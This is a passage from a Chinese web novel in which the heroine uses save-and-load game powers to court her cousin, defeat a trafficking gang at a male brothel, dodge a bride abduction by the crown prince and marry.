“还有什么想要的,就让月梧过来府里传话,舅母都给你弄到。对了,你喜欢几进几出的院子?舅母现在就给你改一下,等你嫁进来刚好能住上。枕溪的院子里乱糟糟的,都是他捡回来的那些小虫小鼠……” “舅母,我嫁过去之前,一定要把那些小虫小鼠小蛇小壁虎都换地方养啊。” “放心,舅母回去就给他另外弄个屋子养那些。” 杜枕溪满腹心事:“娘……” 你叫他:“表哥。” 他扯了个难看的笑脸:“景蕊。” 你仰头,侧了些角度:“就那么不想娶我?我是哪里很差劲?不完美吗?” “没……”他拉长声音,无奈,“你不觉得奇怪吗?我们是兄妹。” “你才奇怪,你姓杜,我姓沈,我们只一起长大,你不是我真的兄长。” “可是。” “我说我想嫁给你,你答不答应?” “……”他沉默许久。 “如果你之后喜欢上别人,即便那时你我和离,也无法改变你成亲过的事实,他们会说很多闲话。” “我不会喜欢上别人。表哥之后会变心吗?” “才不会。我不是姑父那种卑鄙小人,我与谁成婚,便要始终如一对那个人好。” “那表哥不如从命,我以后也会对你好。” 他笑:“说的什么话。” 你牵他的手,他僵硬了下,没有挣脱。 周围不见仆人的影子,应是三舅母走前吩咐了什么。 你与他有了独处的空间,牵着手在家中漫步,听他这些天的经历。 “郑永之告诉我鸟市有人在卖五色鹦鹉,问我想不想要,我自然想要,跟着他去,结果那是一家黑店。” “黑店?” “我们进门就被打晕绑住了。根本就没有鹦鹉,他们是劫财害命的匪盗。抢了我和郑永之的钱不说,还要把我们绑走卖掉。” “敢在天子脚下做这种事,不说如何事成,会有人敢买你们吗?” 就算杜枕溪此刻穿着粗布麻衣,也明显看得出不是普通人,而是落魄贵族一类。 “有啊,他们要把我们卖去象菇馆!”他控诉。 你道:“让你们去采蘑菇?” “非也!象菇、象菇,同音相公,他们是要把我们卖去做皮肉生意!我不眠不休等了几日,才找到他们疏于防守的时机,带着郑永之逃了出来,现在我们从鸟友变为生死之交了。” “表哥英勇。” “哪里哪里。” “所以汴京有象菇馆吗?” “……不许去!说这个是让你敬佩表哥的!不是让你去那种地方!” 存档。 “开开眼界,表哥别小气,带路如何?” “不要,不许去那种地方,那种地方的男人不干净!” 和颜悦色褪去,你冷道:“开开眼界,表哥别小气,给我带路。” “哦……” 第99章 “哎——” 你被他拉得停住, 疑惑:“不是说带我去?” 杜枕溪脑袋耷拉下去,可怜兮兮的:“我好累,几天没睡了, 明天再去如何?” “可以。” 在他嘴角勾起, 打算开溜时, 你腿伸直拦他身前:“如果你明天找借口不带我去,我就……” 他笑:“如何呀, 景蕊?” “我就不理你了。” 他脸上的笑容凝固,成功被威胁到,如临大敌地犹豫片刻, “好吧。” “早知道就不告诉你了。” “你嘟囔什么?” “没什么。”他咳了咳, 拿出兄长的架势,“我带你去, 但事先说好,你到了那里要听我的, 我不许你做的事你就绝对不做!” “嗯。” 他叹了口气,此事算告一段落。 拎起衣襟在鼻子前闻闻,眉毛蹙起:“我好臭啊。” 你道:“要洗澡吗?” “嗯,我回家洗。” “以后这也是你家。” “……” “非要回去的话, 我肯定放你。不过我家是只有一个想念你的表妹, 你的家里可有两个磨刀霍霍要处置你的爹娘, 表哥自己选吧。” “来人,月梧, 送表公子……” “哎哎哎!嘘!我在你家洗, 在你家洗!” 你露出满意的笑,重新牵他的手,往他的住处走。 “哎, 我好臭,你离我这样近会闻到的。” “我在屏住呼吸了,不要提醒我,不然想把你踢飞到浴桶里。” “……太可怕了,别那么对我。” “那你要乖乖听话。” 第二日。 杜枕溪履行诺言,拖着疲惫的身体等在你院中。从险境脱身回到安全的地方,连日累积的疲倦都冒出头来,压得他撑不起眼皮。 你端着花草茶漱口,卫棠捧着镜子让你看自己的仪容。你穿了青灰色的窄袖褙子,掩脚藏青色褶裙,两侧环形双髻,打扮一丝不苟,毫无瑕疵,是强迫症看着会很舒适的整洁装束。 “喵。”黑猫凑到杜枕溪身边,圆溜溜的琥珀眼睛望着他,前前后后蹭他的脚。 杜枕溪打起精神给小猫提供情绪价值,柔声夸它可爱,梳它油亮乌黑的皮毛。 这边在黏黏糊糊沟通感情,另一边传来丫鬟的惊叫声:“有蛇!” “保护小姐!” 细长的青蛇在地上弯曲前行,吓跑了沿途的所有人,到了杜枕溪的脚边。“嘶嘶。” “喵!” 黑猫亦害怕陌生的动物,很用力地哈了声,不顾杜枕溪的阻拦,爪子扇蛇的脑袋,随后仓促逃回屋里,跳到你的腿上趴下。 你摸了几把黑猫的后背安抚,抬眼看到青蛇已经回到了杜枕溪的脖子上缠好。 他担忧地望着黑猫:“是吓到了吗?小蛇没有恶意的。” 卫棠颤抖地躲到你身后,手紧紧攥住你的手臂。如果还有空位,他也很想把头埋进你的身体里。 杜枕溪的目光落到你们紧紧贴在一起的地方。 他意识到自己与青蛇为常人所不容,便停在屋外,没有再朝你走近。 你顺了顺卫棠的毛,拇指擦去他的眼泪:“没事。我表哥在,他很会和小动物相处,蛇不会伤害你的。” 卫棠点头。 你转头:“表哥,把蛇放笼子里吧,等我们回来你再把它放出来。” “嗯……好。” 月梧给他找了个临时的篓子,是厨房捡鸡蛋用的。 将蛇放进去时,他眼中满是歉疚:“不好意思,委屈你了,在这里乖乖等我回来好吗?之后你伤好了,我会把你送回山里的。” 你们从府中出发。 因为去的地点比较禁忌,没有从府里调马车。杜枕溪带着你步行,路上频频打哈欠,擦眼泪。经过商市,他混混沌沌走,给你指了大概的方向,便牵你的手走在你身侧。 “到了。”你道。 他晃了晃头,“到了?” 本打算绕路陪你在街上玩个痛快,等你玩腻了就不会再想着象菇馆的事,结果他状态不佳,脑子不清醒,竟然真的把你带到了这种…… 你朝店门迈步进去。 杜枕溪拽你的手:“景蕊!” 他低声道:“这是正经客栈,我们走错了,这不是卖的。” 你笑着看他一眼:“我知道啊。” 在他惊讶的眼中,映出你凑近一步的样子。 “表哥看上去很累,先找个地方睡上一觉,等你睡醒了我们再去象菇馆也来得及。” “……” 趁他发愣,你把他拽进去,跟店小郎定了一间上等房。 爬楼时,听到他们闲聊。 年轻人“热情似火”,“大清早就来住”,“关系如何”之类。 听到他们说你们一定不正经时,杜枕溪严肃回头,高高举起你们牵在一起的手。 “我们是正经夫妻!” 店小郎是个开朗的人,不认为碎嘴被抓包丢人,跟他对话起来:“正经夫妻怎么不在家睡觉呢?” “呃……” 见他答不出来,店小郎们笑得更开,但不是恶意的笑,而是像长辈看到小辈过家家觉得可爱的那种笑。 “快去吧。” “不在家睡觉是因为我热情似火。” 你的声音一出,他们都哑下去,震惊于你的措辞。 “外面的床别有风、唔。” 杜枕溪捂住你的嘴巴,笑:“我们回房了!” 找到对应的房间后迅速关门,因窗子开着,门板关合的声音大了些,楼下又是一阵促狭的笑声。 你也跟着笑,抬他的下巴瞧。 杜枕溪脸上泛红,推开你的手,一头倒进床榻里。 “乱说话,捉弄人。” 静止片刻,他还是忍耐了睡意,坐起身将鞋脱掉摆好,和衣躺到床的里侧,给你让出些地方才睡去。 你在房间里转了转。上等房里只有一张床,一张书案,书案上摆着新的文房四宝。布置简朴,胜在整洁。 你不困,表哥睡着了,一人总要找些乐子做。 下楼找店小郎问有没有话本买。 店小郎们调笑:“小姐怎么不热情似火了?” 你面不改色:“热过头,相公被我干睡了。” 店小郎:“……” “所以有话本吗?” “我去给您买,可有什么偏好?” “要看主角是女子的故事,题材随意。” “好嘞,稍等。” 你回到房间,一刻钟左右,一摞话本就送到了你的面前。 随手翻开一本,你沉浸在故事中。 讲的是主角爱上一个男人而不得,把自己杀了埋在男人床底的故事。 无论是腐烂的气味还是化作养分养出的小草,她都当作是自己的拥抱。每晚去男人的梦里大做特做,最后把男人吸死,变成牵牛花妖精。 很疯狂的一个故事,短小精悍。 你把开头主角一块一块自我肢解埋在男人床下的部分叠住,平展,放到杜枕溪枕边。然后脱鞋迈过他躺到床的里侧抱住他。 他把自己收拾得干干净净,闻着香香的。 稍微闭眼休息一阵。 再睁眼看到杜枕溪阅读话本惊恐的脸,没彻底醒就笑出了声。 他立刻把话本合上,但又觉得自己没必要心虚,又把话本打开:“故意吓我,真坏。” “不是吓你,我就是这样想的,要是表哥不娶我,我就……” “我都答应你了,别消遣我。” “消遣你能怎样?” “……” “消遣你就把你惹毛了。” “嗯嗯!” “然后变得毛茸茸的。” “……” 在客栈用过午饭,你们终于出发前往象菇馆。 睡了一觉,杜枕溪精力比早上充沛很多,路上应付许多围过来的小鸟。 可真受欢迎。 临到门前,他深吸几口气,主动拉你进去。 看门小厮虽纳罕从未见过一男一女来这象菇馆,却不表现出来,乐呵呵将你们往里面迎。 “刚好各位公子都睡醒了,小姐和这位公子有没有想见的人选啊?” 杜枕溪努力思考如何对答才不奇怪,就听你道:“你们楼给参观吗?” “参观?” “就是我想到处看看。” 小厮警惕起来,上下打量你与杜枕溪:“行是行,不过我们这都是你情我愿的干净生意,和别的地方不同,你们看也是白费功夫,找不到错处的。” “听你的话,别的地方做黑生意?” “小姐可别为难人。” “不为难,先随我到处看看。” 你在象菇馆里逛了一圈,大致陈设和当初卫棠在的醉花音类似,但这种地方的墙要高些。 “小姐,看够了吗?”小厮已经不悦了。 你盯他一眼:“你是这楼的店家亲戚吗?” “不是啊。” “那你这种把工作的地方当家,一荣俱荣,一损俱损的心态是怎么来的?” “你……你问什么呢你!你是羞辱我吗?我告诉你,我人微言轻,但也不是没脾气的!” 你塞给他一块银子。 他安静了。 “就是给主子卖命,做做表面功夫,我其实一点不生气的。小姐你身边缺人吗?象菇馆这种地方赚钱的都是那些接客的,我这种人出最大的力,拿最少的钱,小姐你身边要是缺人我得自荐一下……” 你又给他一块金子。 “够多吗?” “够够够。” “那我问你,最近你有听说人贩子拐清白公子的事吗?” 话音落下,小厮抱头蹲地,四面八方汇聚上来一些面露凶光的丑恶人士。 “景蕊!小……” 你用袖中暗器打翻一片人,脚踩兵器挑空握在手里,杀剩下打算跟你同归于尽的。 眨了几次眼的功夫,那些人就已经被你都打倒在地。 你扒了为首之人蒙面的布,招来杜枕溪看:“是绑你的那些人吗?” 杜枕溪认出他们的脸:“是。” “解气了吗?我把伤害你的人都杀了。” 他眼睛湿润润看你。 你低语:“把它们的尸体都埋在你的床榻下面……” “啊!不要!” 逗过他,你一脚将看门小厮踩到地上,他在身下悄悄拿藏在衣服里的匕首,被你抓包,在他眼前用手指把匕首折弯。 他死心了,哭着说饶命。他的钱都可以给你们,这个楼里的公子也都不要钱交给你处置。 “我不要那些,你的同伙还有剩吗?” “没、没了。” “没了就先杀你。” “有!还有!” 最终在这位小厮的带领下你把那些背后做人口买卖的恶徒一锅端了。 第一关时就感受到武力压制的睥睨之感,但你满足与翠儿柳儿的陪伴。 这一关力量掌握在自己手中,你彻底迷恋于这种压制性的,随心所欲的感觉。 通关以后,你打算也报一个武术班学。 官府的人把地上那些残尸拖走,另外带走看门小厮取证。 杜枕溪望着你的背影,心里像有嫩芽破土而出。 原来你来象菇馆并不是为了男色,而是为了帮他出气。 他眼神崇拜,要说什么,被别人抢先。 那些象菇馆的公子们推开他,将你围在中心,感谢你救他们的性命,给他们恢复自由。他们没什么别的本事,但愿意献身于你。 没用的,景蕊才不会碰他们。 但是你说:“好啊,谁先来?” 【存档】 第100章 即使有了存档, 你也并没对那些风尘男子做什么。 他们的容貌虽然都看得过去,但并不足以支撑你对他们产生兴致。 还是你身边的几位更好看些。 随口叫个顺眼的在身边聊,结果这人走迂回战术, 讲话云里雾里, 试探你的身份, 暗示你给他赎身。 很没意思。你以为这种人会放得开、好玩一些。到这边还要跟他们玩攻略的话,不如继续进杜枕溪分线跟他成亲, 还能拿到本关卡又一个图鉴。 图鉴。 说起来,这一关为什么打不出结局名称,难道那些结局是第一关特有的吗? 你点击【结局图鉴】。 和你想的不同, 第二关的页面已经收录了几个结局。 没有结局名称, 用的是攻略对象名称命名。 分别是: 【卫棠1】【卫棠2】【林彧1】【林彧2】【卢云衢】 “小姐……小姐怎么不说话呢……是和其他女子一般,光顾我一夜便再也不见了吗?” “不是。” “那……” “我不打算光顾你一夜。” 【读档】 将这段插曲覆盖掉。 官府的人走后, 象菇馆仅剩的小厮默不作声地收拾地上的血迹。 看门小厮说把这栋楼给你,当然作不得数, 最后应是要充公。 你对此没有占有欲,搓了搓手上干涸的血痕,吩咐拖地的小厮烧水伺候你洗澡。 经历了方才血腥的场面,方圆百里不存在敢违抗你命令的人。 听到你发话, 小厮立刻扔了拖把, 见鬼一样跑去灶房烧水。 你另外找人拿钱去买一套干净的成衣。 将身上洗得干净清爽, 你用布巾包着头发出门。 坐在你房门口的杜枕溪闻声起身,视线先是落在你的束腰处, 才向上看你的脸, 松了口气。 “在安心什么?” 杜枕溪朝你伸手,将你从比庭院高些的木地板里接下来。 “你一个人也把衣裳穿得很好。” “我是废物吗?” “我是记得你十一二岁时还不会穿衣裳。” “我只是没有搞懂怎么穿,不是不会穿。” 他把你头上的布巾拆下, 湿沉的黑发在身后散落,你用手指理了理,被他用布巾裹起旋转拧紧。 “景蕊,你是为了我来这吗?” 不是。 是好奇来的。你进到里面之后才想起他差点被卖到这种地方。 实际上在云衢线里就出现类似的事了,那次是人贩子卧底到沈府要绑走卫棠。这次轮到表哥,就像盯着你的男人动手一般,想到这一点,你不打算再忍他们在你的存档里为所欲为。 但你不会告诉他。 “是啊,就是为了你来的这里。感动吗?” “感动,真讲义气,表哥没白疼你。” “……” 你攥住他擦拭你头发的手。 “扯疼你了?……唔?” 你扳着他的脖子对准嘴唇亲吻,杜枕溪静止好久,才回神般眨了眨眼,按住你的肩膀推你。 短暂的沉默后,他抬手捂嘴,后退几步。 “干什么……” 你道:“偷袭。” 不给他回味的时间,你拉住他的手往沈府的方向走。回到家里,无须告知,所有人都知道你和杜枕溪去了象菇馆鬼混还杀了人。 “沈景蕊!” 母亲脸上雪白的皮肤失去血色,竟有些发青。 “你做什么?我让你学武,是让你学着杀人的吗?” “他们都是该死的坏人。” “住口!还顶撞我?你是有些本事,就想把你娘忘了是不是?你宁师父要是知道你学武是用来杀人的,他怎么想?” “姑姑!姑姑别骂景蕊!她是为了我!” “为你什么?为你出气跟别的男人打架,结果手上没轻重把别人杀了?” 杜枕溪点头惊讶:“对!就是这样!姑姑你都知道了?” “我知道什么!你也给我跪下!” 你被关了禁闭,不允许踏出房门一步,每日只能见送饭的月梧和妹妹弟弟。 卫棠不被应准见你,母亲知道他的德行,总是无条件向你倒戈,很可能你说几句话他就把你放出去,或者自己甘心自囚陪伴于你,那还算什么禁闭。 幸好房中存了客栈小郎买的话本,看完了故事,临摹话本里千奇百怪的姿势,倒也不算无趣。 云衢舀着鱼汤道:“那些穷凶极恶之人,不该死在姐姐干净的手里。” 你半靠在床墙上,眼睛盯着话本,只鱼汤送过来时低头喝一口。 看着你的唇瓣抿在白瓷的汤匙上,被米白的汤汁浸润,卢云衢心里很乱。 你没有感觉到越界的距离。 之前对他也算亲昵,却从未有这般越过男女之间距离的时候。 他恍惚间有种错觉,好像他凑脸过去,你就会在他的脸上亲吻。 是从什么时候开始这样的? 姐姐喜欢他吗? 不是。姐姐要嫁给杜表哥的。 他从来没有进到你的眼里,没有作为能够更进一步的异性留在你身边。 他什么都不是。 下一勺香醇的鱼汤迟迟没有送上门,你张嘴叫了叫:“啊。” 云衢梦醒般将整个碗递到你嘴边。 快喝吧。 不该这样的,姐姐没把他当成男人疏远,他自己要划分界限,不能对不起义母和杜表哥。 剩下的半碗鱼汤很快被云衢喂完,他略显冷淡地告辞离开。 你望他的背影,直到看不见人。 这就是两条线的差别? 在做你夫君时,云衢端茶倒水都做得很耐心,但身份换成弟弟,才喂了几口汤就不情愿。 在其他人的线里没经历过他这段年纪,原来他还叛逆过。 将腿搭到墙上伸直,你呼着夹带鱼汤味道的气,边看话本边拉筋。 禁闭解除在三日后,朝廷的判决下来,事迹传播出去,你成了惩奸除恶的人中豪杰,在百姓中很有名望。 虽然你是在象菇馆将那些奸恶铲除的,但他们还听说了你去那个地方是为你之前受了苦难的表哥,所以一点都不影响你的光辉形象。 母亲歉疚地到你房中坐着,跟你道歉。 “我不知其中内因,你既是为了枕溪才下死手,怎么不跟娘说呢……” 因为无所谓。 你道:“表哥想瞒着你们那段经历,他怕你们担心。” “人已经回来了,哪还有担心之说……不过是该瞒着些,你三舅母心有旧疾,经不起吓。怎么有那么坏的人,那么单纯的孩子都忍心骗……” “你表哥为保你,把事交了底。也不知你三舅母听了你表哥失踪时发生的那些事身体如何。” 三舅母很好。 且尤其亢奋,半夜睡不着睁眼笑,把三舅吓醒了。 她才不会因为儿子的涉险而担心什么,人已经回来了,之后好好护着就是。 她现在满心满眼都是景蕊和枕溪两个孩子。看到他们感情好,她心里甜得像泡进了蜜罐里。 三舅母坐起身,去灯台里拿了烛灯,到外间书案前坐。 折腾的声音叮叮咣咣,三舅睡不着。他披着衣服起身,无可奈何地问:“你又在干什么?” “看婚期。” “不是说来年春天再跟妹妹那边商量?” “等不了了,想让枕溪快点把景蕊娶过门。” 三舅默默无语。片刻,想出话来应对:“枕溪的院子不是还没翻修完,你现在让两个孩子成婚,他们住哪?” 三舅母恍然:“是啊……” 三舅道:“睡吧,明日再理这些。” 他揽着妻子的肩,往床榻走到一半,被她停住:“可以让枕溪在沈家住上一年,反正他平常也总在那头住!” 语气仿佛是什么天大的好主意。 “……你这是要把儿子变成倒插门的女婿,吃人白饭,小心被景蕊瞧不起。” “景蕊才不是你这种人呢。” 婚期极速快进。 你被人连着量了三次婚服的尺寸,来的裁缝每次都不是一个人。 月梧道:“三夫人这是花了大手笔。” 三舅母打算多做几套婚服,让你挑一身最喜欢的穿。 景妍仰头痛哭:“我不想姐姐出嫁,姐姐嫁给云衢不行吗呜呜呜……” 云衢脸色白了一瞬,先是望你的脸色,而后低头后退,脚步慌乱。 为了让景妍好受些,又或者为了你岌岌可危的存档读档功能,你带她出门散心。 你马上要嫁人离家,她所有的厌恶情绪都被不舍抹平,这在之前几条线里都没发生过。 你们走在抹了一层雪的街道上。两边的商贩比着声调吆喝,途经处蒸好一屉包子,掀开锅盖涌出厚云般的白气。 你买了两个肉包,和景妍边走边吃。她目不转睛盯着你,看一眼少一眼般。 为什么你嫁给林彧的时候她就没有这样的心情? 存档,读档。你去到了林彧线后期试探女将黎清越是否依然忠心的时间线。 女子的脸已经有些陌生,她捧着茶杯小口吹气。 你忘了当时对话什么,这个档不再有用处,之后可以用来覆盖掉。 你变成麻雀飞回沈府,飞到景妍房门口,撤销道具效果,敲门。 “姐姐?” 她正翻着书看,冷不丁看到你出现在家里,十分稀奇。 “你怎么回来了,我没听说你回门的消息。” 你道:“我和林彧成婚时你并未舍不得我。” 景妍愣了愣,笑:“姐姐突然提这个做什么,当然不会舍不得,住得又不远,我想见你就去见了。” “如果我嫁给杜枕溪?” “如果姐姐当年嫁给杜表哥……杜家人和母亲不同,他们很讨厌我,姐姐要是嫁给杜表哥,我们可能一生都不会见面了。” 原来她想的是这个。 读档,回到杜枕溪线与景妍逛街的时候。 你道:“我就算出嫁,也会常回来见你。我和表哥到时会另立府邸,你可以随时过来玩。” “……真的吗?” “嗯。” “呜呜呜呜……姐姐是怎么知道我怕什么的,我这些天都好怕,以后见不到姐姐怎么办,姐姐之前欺负我的事我都给忘了……” “想起来吧。” “不要呜呜呜……” 迎面遇到戴了丑面具的太子,他表情鄙夷:“又欺负你妹妹了?” 100-110 第101章 有外人走近说话, 景妍背过身擦眼泪。 “十次遇见你,九次你在捉弄你妹妹,你怎么这么坏啊。” 你微微一笑, 朝他走近:“我这么坏, 你还上赶着跟我说话, 是也想被我捉弄吗?” 赵晞移开目光:“……才没有。” 间隔好长一段时间见他。 知道他长什么样子后,眼中所见的就不仅是丑面具, 还有他自己的脸做出那些表情的想象画面。 景妍沾着泪珠的双眸轻轻眨动,她拉你的衣袖,仿佛目睹了什么不可思议的事。 “姐姐?” 她记得你之前很讨厌这个丑人, 每次遇见都选择无视, 如今竟在调戏他。 是她眼花了,还是这个丑男做了什么胁迫与你? “你究竟是何人!离我姐姐远些!她已经定亲了, 我劝你别打鬼主意!”景妍义无反顾挡在你的身前,手从厚重的衣袖中伸出, 露出一截莹白的指尖。 剩了一半的包子被寒风彻底灌得冷冰。你将它们收进油纸袋,打算回家加热后再继续吃。 没听到赵晞狡辩的回复,你心下奇怪,投去目光。 只见他套着丑面具, 站在几步远的地方, 嘴唇抿成一线。 除了面具, 剩下的零件还是他本人的,所以他的背影看上去很有美男子氛围。注意到的路人都装作不经意经过他, 走到前面几步回头看他的脸, 发现是歪瓜裂枣的丑人,败兴离开。 他沉默许久,选择把话问出口:“定亲?” 用的本音。 但景妍不认识他, 本音与伪装的音色对她来说并无分别。 “是啊,我姐姐已经和杜家表哥定亲了!杜慎杜相的后人,清清白白、相貌堂堂的公子,你连人家的一根手指头都比不上,别白费力气纠缠!” “宫里的亲事不要了吗?” 景妍顿了下,很是诧异:“别乱说话,哪有什么宫里的亲事!” 赵晞转向你,重复:“不要了吗?” “……” 你将景妍拉回身边,手缩进袖子里:“婚约不是已经退完很久,没人告诉你?” “我还没答应退!” 景妍:??? 她震惊地左右看你和赵晞。 “姐姐,他是……” “别闹了,你说话又不算数。” “我……” 赵晞想说什么,但有另一个念头更先浮到喉咙。 “你知道我是谁。” 你没回应。 “你一直知道我是谁!” “可你却一直不理我,你就那么不喜欢我!” 路人听到声音朝他回头。 他委屈极了,并不克制,像是豁出去般:“你不喜欢我,就因为我的脸吗?” 不等你回答,路人瞥他一眼:“废话。” 另一人笑:“今年的□□可真多,什么时候汴京城变成池塘了。” “谁在欺负人?我婆娘让我出来帮忙。” 他被看热闹的人层层围住,指指点点,面对这个脸即正义的世界,他稚嫩的道心好像碎了。 回去的路上,景妍犹豫很久才问:“姐姐,那位是太子殿下吗?” 你点头。 她张了张嘴,忍下不敬的话。 太不靠谱了!他是储君? “他打扮成那副样子在外行走,要是被有心之人识破伪装,杀了他该怎么办。” “那他就死了。” “……哦。” 静坐在马车内,景妍回忆太子的情状,又看了看姐姐不以为意的姿态,将自己近日的悲伤都忘个干净。 是和云衢一样的苦命人。 但也有所不同。太子原本可以名正言顺和姐姐成婚,而云衢从最开始就没被姐姐考虑过。 说不上谁可怜,反正现在不是她。 婚礼在冬月初办。 你穿着厚实的嫁衣,被父亲背入杜府准备的花轿中。才下了一场封路的大雪,清雪之后便举办婚礼,还拿得出新鲜盛放的真花来装点喜轿,可以感受到杜府三舅母的用心。 有一层盖头隔着,眼前只一片单调的红。看不见母亲与景妍的位置,该说的话出嫁的前一天都说尽,也和家里的一切道别,但在坐上花轿的瞬间,你还是听到景妍哭着喊的一声姐姐。 你掀开盖头,景妍已经被丫鬟们带回去了,她频频回头,脸上哭出一层水光。 父亲叮嘱:“景蕊,嫁过去以后和枕溪好好相处。” “之后过日子若遇到气受,可随意出手教训,无论如何,都有爹给你托底。” “多谢爹。” “哗啦啦”的一阵响,是往喜轿上洒谷豆的声音,有驱邪之意。 花轿将要抬起,亲戚道:“怎么不见小杜公子作首催妆诗给我们听听啊!哈哈哈!” 父亲道:“枕溪是我教养大的孩子,何必为难。” “这算为难?该不会作不出来吧!” “小杜公子,快逃吧!这有人给你挖坑呢!” “哈哈哈!当新郎官还逃啊!” 你:“……” 掀开车帘,你投出去冷冽的视线,在围观群众里扫视一圈,将人盯得不敢说话,你朝轿前御马的杜枕溪道:“我们走,表哥。” 杜枕溪一声不吭地顿缰绳前行,抬轿的人跟随他身后行动。 你松了帘子,坐回轿里。 沈府距离杜府不远,但轿子一直没有减速的迹象,且在经过闹市后吹奏的喜乐停了。 你从车窗朝外面看,这是通往郊外的路。 “我们不回你家吗?” “表哥,你买好咱们自己的宅子了?” 不论怎样朝杜枕溪说话,他都不回头。 你察觉到不对时,喜轿停了。抬轿人将轿子平稳放到地上,一转身消失在丛林中,身手不似平常人家的小厮。 “……” “杜枕溪”下马,马追随他的身子嗅闻,他置之不理,面无表情朝你走近,掀开轿帘。 你对上他的眼睛。 皮相再怎么伪装,瞳孔无法骗人。他和杜枕溪的眼神都不一样。 你盯着他伸过来的手,将手放到掌心。 那人颤了下,缓慢将你的手攥紧。你被他牵下马车,走进一处事先整理过的荒废庙宇。 不知台上供奉的是哪路神仙,“杜枕溪”轻轻拽你到他们面前,虔诚地跪下去。 你不跪,站他身边望着石塑的雕像。 他抬眼用目光催促你。 你无视他,不为所动。 他拉拉你的衣角:“拜吧。” “我不跪,也拜吗?” 他默了默:“我跪就够了。” 朝下磕头。 你有些不明白他的想法。 “你的侠肝义胆在哪,殿下?” 听到你对他的称呼,他倏地抬眼,眼中紧密漫出一层水雾。 “你……” 他有些想笑,但心里却是难过居多。 “你又认出我了。” 他站起身,撕去脸上的面具,露出本来的面容。 黑发红唇,世上最为矜贵的长相,配身上尺寸不和的喜服,显得狼狈而脆弱。 “还没回答我的话,你挟持我是不想做大侠了?” “不做了。我永远无法成为真的侠客,我并不豁达,也不会有真心爱我的人出现。” “所以你就抢婚。” “是,我喜欢,不能抢吗?” “如果一段感情让人变得丑陋,那就说明它不健康,你该放弃。” “我非要强求,你能拿我怎么办。” “你把我表哥弄哪……不,算了,你喜欢我什么?” “谁说我喜欢你!” 你走近他,捧着脸吻他一下:“说说你喜欢我什么,我在主线似乎没怎么待见过你。” 奇妙的体质,吻过他以后,整个口腔里都是他的香味。 “说吗?” “……” 你又亲了他一下,摸他的脸。 “说吗?” 中了异香有反应的人是你,他却也露出迷乱的眼神,侧头吻你扶着他脸的手,道:“箭……” “初见时,当街遇匪寇,你用了箭。我没见过人把箭射得那么果断,像是练过千万遍,明明是小孩子。” 他的视线落在你的唇上,话不自觉变多:“本想与你交友,但你一见我的面具就露出那种表情,我讨厌你。可我们就是很有缘分,无论走到哪都能见到,慢慢的,我想让你对我笑。” “不喜欢我的脸吗?为什么从不找我……” 你捂住他越靠越近的嘴:“在我去见另一个时空的你之前,我不知道你长什么样子,怎么可能找你。” “……什么?” “之后见。” 读档。 回到那天带景妍出府散心之前的时间点。 之前和林彧、云衢正常成亲时,太子并没有情绪崩溃做出非常举动。 所以你觉得还是被他知道你一直认得出他是谁的原因。 省去出门逛街的步骤,你直接去景妍的房间跟她谈心。嫁给杜枕溪并不会影响你们的感情,杜家因母亲而讨厌诗夫人,连带着讨厌景妍。眼下母亲已经淡了那些恨意,杜家人也没什么走不出来的。 最关键的是你并不打算跟杜家人一起生活,嫁给杜枕溪之后,你们约定单独买一座宅院。 所以之后你和景妍还可以常常见面。 存档、读档功能稳定以后没几日,就到了你出嫁的日期。 成亲当天,杜枕溪被三舅母推着给你作催妆诗。 母亲赏他改口费,当着亲戚的面,他朝你的家人行礼。 这样热闹的场景才是正常的。 在杜府走完流程,杜枕溪的好朋友和兄弟姐妹们都来闹洞房,作诗投壶。 你也参与进去,有武力值的加成,投壶从不失手。每投中便有人为你欢呼,连续投几次,你听出了欢呼最厉害的是杜枕溪。 别人也听出来了,打趣他:“新郎官躲到后面真不像话。” “就是就是!” “小心新娘子不要你喽!” 看到杜枕溪脸上的笑一点点收敛,你朝他勾手,等他凑到身边亲他一下。 “我要表哥。” 在一众起哄声中,你问他们:“还玩吗?” “玩!” 第102章 玩得再热闹也有散场之时。 毕竟是你们的新婚之夜, 眼见着时间变晚,他们不好再打扰。 其中一人是与杜枕溪一同落难的郑永之,他有意慢了其他人一步, 多停留在房中片刻, 朝你行大礼感谢, 若不是你,这仇应无法报。 卧房里只剩你与杜枕溪二人。绸带将桌椅板凳都围着, 目之所及都是喜气的红。 杜枕溪端来桌上的点心和你分食,他吃东西时目光盯着虚空中一点,想到什么, 低头看了看身上的喜服。 将食物咽下去, 他说:“我和你成亲了。” 你点头,“怎么?” “小时候以为成亲是很远的事, 没想到有天也能轻飘飘落在我的头上。” “……” 你略微动脑,把剩半个点心塞进嘴里, 拍了拍手,从身后摸起盖头蒙到头上。 盖头上绣了大朵的牡丹花和成对的蝴蝶,轻盈从半空中落下,凸出你发髻的轮廓。 “表哥。” “……” 他意会你的意思, 默了默, 下床趿拉着鞋子找到如意, 咳了咳。 “新郎要掀盖头了。” 玉如意挑开你面前的一角,绯红喜服下, 杜枕溪冠玉般的面容展露在眼前。 你道:“如此礼成, 表哥可有实感?” 他安静对你笑了片刻,才道:“有了。” 你回应一笑,下地去梳妆台前卸头发。 曾几何时, 进到游戏的第一幕就是这样黑漆漆的新房。雕兰玉砌不在,心境也不同。 富贵荣华从指缝中过尽,万种风情若柳枝拂面。 拆落一头黑发,卸去沉重的外袍,你回头望向床榻上半躺的人。 杜枕溪扒床上的板栗扒得入神,不大一会儿,手帕上便攒了小山般的圆润栗仁堆。收到你的目光,他拿着栗子朝你晃晃,还像小时候逗你玩一样用食物叫你过去。 从前你便是装小孩哄他。 你坐到榻上,捡炒得香香的板栗吃。 瞧着剥得差不多,杜枕溪停下手中动作,与你一起,很快两颊塞得圆鼓鼓。 填饱肚子以后,你们去外间坐在一起刷牙。窗外传来什么东西扑腾的声响,你嘴里含着古制牙刷开窗,有一排小麻雀乖乖巧巧站在窗口歪头盯你看,它们的身前也摆整齐一排带壳的稻谷。 “景蕊……” 杜枕溪漱口之后,洗了把脸,边擦边朝你走近。 “看到什么?” 你笑着朝他回头:“小鸟给我们随份子。” 杜枕溪也站到窗口,认认真真推辞:“不要,不要,你们吃吧,不用给我们东西,心意到了就好。” 麻雀们也不跟他假客气,见他拒绝,便各自叼了稻谷飞走。 你问出自己好奇很久的问题:“表哥真的懂动物语吗?” “我是人,怎会说动物话。” 他将窗子关紧,拇指在你脸上抹去水痕,到水盆前又洗了遍手。水声淅淅沥沥,你将牙的后半程刷完,卸妆洗脸。 “可是你懂他们的意思,他们也懂你的。” “只是懂他们的意思,就像你不说话,我也懂你想要什么。” 所以还是特异功能。 准确的第六感? 躺到床榻里侧,你们在黑暗里牵着手聊天。 